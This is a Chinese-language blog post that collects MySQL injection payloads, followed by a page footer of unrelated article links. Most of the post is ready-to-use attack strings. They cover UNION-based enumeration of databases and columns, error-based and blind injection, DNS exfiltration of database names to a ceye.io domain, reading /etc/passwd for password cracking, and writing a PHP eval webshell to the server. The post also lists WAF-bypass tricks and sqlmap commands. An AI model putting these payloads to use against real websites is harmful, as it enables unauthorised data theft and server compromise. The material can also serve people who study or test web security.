【总结】MYSQL注入
关于MYSQL注入的总结,网上的资料很多,这里和大家简单分享下自己实战中常用的思路和命令
0x00 UNION联合查询型注入常用语句
order by n //定字段,n为正整数
union select 1,2,3 //看回显,无回显的时候尝试让union前的语句报错,如and 1=2 union select 1,2,3
回显位爆库、表、列(字段)、值,以第二位为回显位举例,常用命令如下所示
union select 1,group_concat(schema_name),3 from information_schema.schemata //爆库
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()//爆表
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='表名'//爆字段
union select 1,group_concat(字段1,0x3a,字段2),3 from 表名 //爆值,0x3a是用来分隔字段的,方便我们查看
0x01 报错型注入常用语句
and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)
and 1=updatexml(1,concat(0x7e,(select database())),1)
and 1=extractvalue(1,concat(0x7e,(select database())))
0x02 布尔型盲注和时间延迟型盲注常用语句
布尔型盲注
and length(database())>10 //判断当前数据库长度
and ord(mid(database(),1,1))>100 //判断数据库第一个字符的值
and ord(mid(database(),2,1))>100 //判断数据库第二个字符的值
以此类推,判断出数据库所有字符的值。
and if(length(database())>'5',sleep(5),0) //判断库名长度
and if(ord(mid(database(),1,1))>100,sleep(5),0) //判断库名第一个字符
或者用benchmark,如:
and if((length(database()>10),benchmark(10000000,md5(1)),0)等
除此之外,还可以借助dnslog平台,下面简单介绍下某dnslog平台
首先注册一个账号,之后平台会给你个域名

有许多可用的payloads

用起来非常简单,只需将相应的域名替换成你自己的域名即可,打到的结果可以在Records中查看。
mysql常用语句
if((select load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc'))),1,1)
0x03 堆查询注入常用语句
实战总结:多数存在堆查询注入的一般借助时间延迟来进行注入,如注入点为http://www.xxx.com/?id=1
常用测试参数为:
http://www.xxx.com/?id=1;waitfor delay '0:0:5'
http://www.xxx.com/?id=1;waitfor delay '0:0:0'
根据页面响应时间来判定是否存在注入点,时间可以通过burpsuite来观察。
0x04 Insert、Delete、Update型注入
像Insert的地方有可能存在二次注入
Insert的报错注入语句:
insert into admin values('admin','admin' or extractvalue(1,concat(0x7e,database())))
0x05 limit后的注入思路
1、limit前未使用order by子句,可以直接用union select进行注入
2、limit前使用order by子句且mysql版本在5.0.0到5.6.6之间的,尝试使用procedure存储过程和analyse函数
>报错 procedure analyse(extractvalue(rand(),concat(0x7e,(select database())),1)
>盲注 不能用sleep,需要用BENCHMARK
PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
0x06 利用注入读写文件
1、读取系统敏感文件,常用语句:
select load_file('/etc/passwd'),然后借助john the ripper破解获取系统账号密码
2、手工或使用sqlmap向目标系统写入一句话木马从而进一提权拿shell(需要比较高的权限和网站物理路径),常用语句:
select '<?php @eval($_POST['xc_test'])?>' into outfile '/var/shell.php'
select 0x3c3f70687020706870696e666f28293b3f3e into dumpfile '/var/shell.php'
通关菜刀连接一句话木马,之后进一步提权获取系统shell
0x07 一些绕过姿势
绕过空格过滤:+,/**/,双重空格,回车换行符(%0a,%a0),宽字节(%df),圆括号,%09,%0a,%0b,%0c,%0d等
绕过union,select等关键字过滤:大小写,双写(uniounionn,unionunion),内联注释(/*!union*/),编码
绕过and、or过滤:&&,||,%26%26,大小写,双写关键字(anandd,andand),编码
绕过小括号被过滤,使用正则匹配,如regexp binary '^.*$'或者使用笛卡儿积,如:
union select b.column_name from information_schema.tables a join information_schema.columns b join information_schema.columns c where 1=2
绕过逗号过滤,'xor(select case when 2>1 then sleep(4) else 0 end limit 0 offset 1)or'
0x08 注入工具
测试注入的工具有很多,比如啊D、HDSI、pangolin(穿山甲),Havi(胡萝卜),sqlmap等
个人比较喜欢用的是sqlmap,下面贴一些实战中常用的命令:
1、get型注入
-u url -safe-freq=3 --batch
2、post型注入
>-u url --froms -safe-freq=3
>-u url --data 'id=1&uname=admin' -safe-freq=3 --batch
>抓取post数据包保存为1.txt,命令:-r 1.txt -safe-freq=3 --batch ###比较常用
3、cookie型注入
抓取post数据包,在cookie后加上*,保存为1.txt,命令: -r 1.txt --cookie 'uname=admin' -safe-freq=3 --batch
4、referer型注入
抓取post数据包,在referer后加上*,保存为1.txt,命令:-r 1.txt --referer '' -safe-freq=3 --batch
5、user-agent型注入
抓取post数据包,在user-agent后加上*,保存为1.txt,命令:-r 1.txt --user-agent '' -safe-freq=3 --batch
爆不出库的情况下,可以尝试使用--common-tables,--common-columns
还有就是一些简单的绕过,借助一些tamper脚本,视具体情况而定,必要时需要自行编写脚本
【总结】MYSQL注入的更多相关文章
- MySQL注入与防御(排版清晰内容有条理)
为何我要在题目中明确排版清晰以及内容有条理呢? 因为我在搜相关SQL注入的随笔博客的时候,看到好多好多都是页面超级混乱的.亲爱的园友们,日后不管写博客文章还是平时写的各类文章也要多个心眼,好好注意一下 ...
- Mysql注入小tips --持续更新中
学习Web安全好几年了,接触最多的是Sql注入,一直最不熟悉的也是Sql注入.OWASP中,Sql注入危害绝对是Top1.花了一点时间研究了下Mysql类型的注入. 文章中的tips将会持续更新,先说 ...
- 史上最完整的MySQL注入
原文作者: Insider 免责声明:本教程仅用于教育目的,以保护您自己的SQL注释代码. 在阅读本教程后,您必须对任何行动承担全部责任. 0x00 ~ 背景 这篇文章题目为“为新手完成MySQL注入 ...
- MySQL注入技巧性研究
0x00 前言 MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品.MySQL 是最流行的关系型数据库管理系统之一,本人最近针对MySQL注入做了 ...
- 【mysql注入】mysql注入点的技巧整合利用
[mysql注入]mysql注入点的技巧整合利用 本文转自:i春秋社区 前言: 渗透测试所遇的情况瞬息万变,以不变应万变无谓是经验与技巧的整合 简介: 如下 mysql注入点如果权限较高的话,再知道w ...
- 【sql注入教程】mysql注入直接getshell
Mysql注入直接getshell的条件相对来说比较苛刻点把 1:要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道 2:gpc没有开启,开启了单引号被转义了,语句就不能正 ...
- MySQL注入与防御
1.简介 1.1.含义 在一个应用中,数据的安全无疑是最重要的.数据的最终归宿都是数据库,因此如何保证数据库不被恶意攻击者入侵是一项重要且严肃的问题! SQL注入作为一种很流行的攻击手段,一直以来都受 ...
- [转载] MySQL 注入攻击与防御
MySQL 注入攻击与防御 2017-04-21 16:19:3454921次阅读0 作者:rootclay 预估稿费:500RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页 ...
- MYSQL注入天书之开天辟地
MYSQL注入天书 在线版本:xianzhi.aliyun.com 第一篇地址:https://xianzhi.aliyun.com/forum/read/314.html第二篇地址:https:// ...
- MYSQL注入天书之基础知识
第一部分/page-1 Basic Challenges Background-1 基础知识 此处介绍一些mysql注入的一些基础知识. (1)注入的分类---仁者见仁,智者见智. 下面这个是阿德玛表 ...
随机推荐
- python学习资料资源
廖雪峰python教程: http://www.liaoxuefeng.com/wiki/001374738125095c955c1e6d8bb493182103fac9270762a000 简明py ...
- 编写高质量代码改善C#程序的157个建议——建议42:使用泛型参数兼容泛型接口的不可变性
建议42:使用泛型参数兼容泛型接口的不可变性 让返回值类型返回比声明的类型派生程度更大的类型,就是“协变”.如: public Employee GetAEmployee(string name) { ...
- Sharepoint2013搜索学习笔记之自定义查询规则(十)
自定义查询规则,可以根据搜索的关键字将指定的一个或一堆搜索结果提升到第一的位置,如我搜索周杰伦,可以指定搜索最靠前的结果是sharepoint网站内周杰伦的视频如下图: 第一步,进入管理中心,点击管理 ...
- C语言中无符号与有符号问题
unsigned char a[5] = { 12,36,96,128,182 }; a[]范围为0~256. 数组中数都有效. char a[5] = { 12,36,96,128,182 }; a ...
- 关于bootstrap模态框的初始化事件
转:https://blog.csdn.net/u010181136/article/details/77579823
- WinForm中的多线程
使用BeginInvoke或Invoke 作用 在自己创建的非UI线程中,进行UI操作,比如更新UI上控件的状态. Windows 窗体中的控件被绑定到特定的线程,不具备线程安全性.因此,如果从另一个 ...
- 201621123012 《java程序设计》第4周学习总结
1. 本章学习总结 1.1 写出你认为本周学习中比较重要的知识点关键词 答:关键词:继承 多态 抽象类 abstract 覆盖 object siper 1.2 尝试使用思维导图将这些关键词组织起来. ...
- java关键字(更新)
1.final: ①final修饰类:该类不能被继承: ②final修饰方法:该方法不能被子类重写: ③final修饰变量:一.修饰基本数据类型变量,必须初始化,且值不能被改变:二.修饰引用数据类型变 ...
- Charles设置可抓https的包
一.help 二.proxy
- 题解 P3386 【【模板】二分图匹配】
题目链接 首先呢声明一下,本宝宝发这篇题解只是为了(goto a;) 个人还是比较喜欢跑dinic暴力跑最大流...竟然比匈牙利还快..如果说不懂网络流的~~蒟蒻~~大佬们.可以看看这个(反正我就是在 ...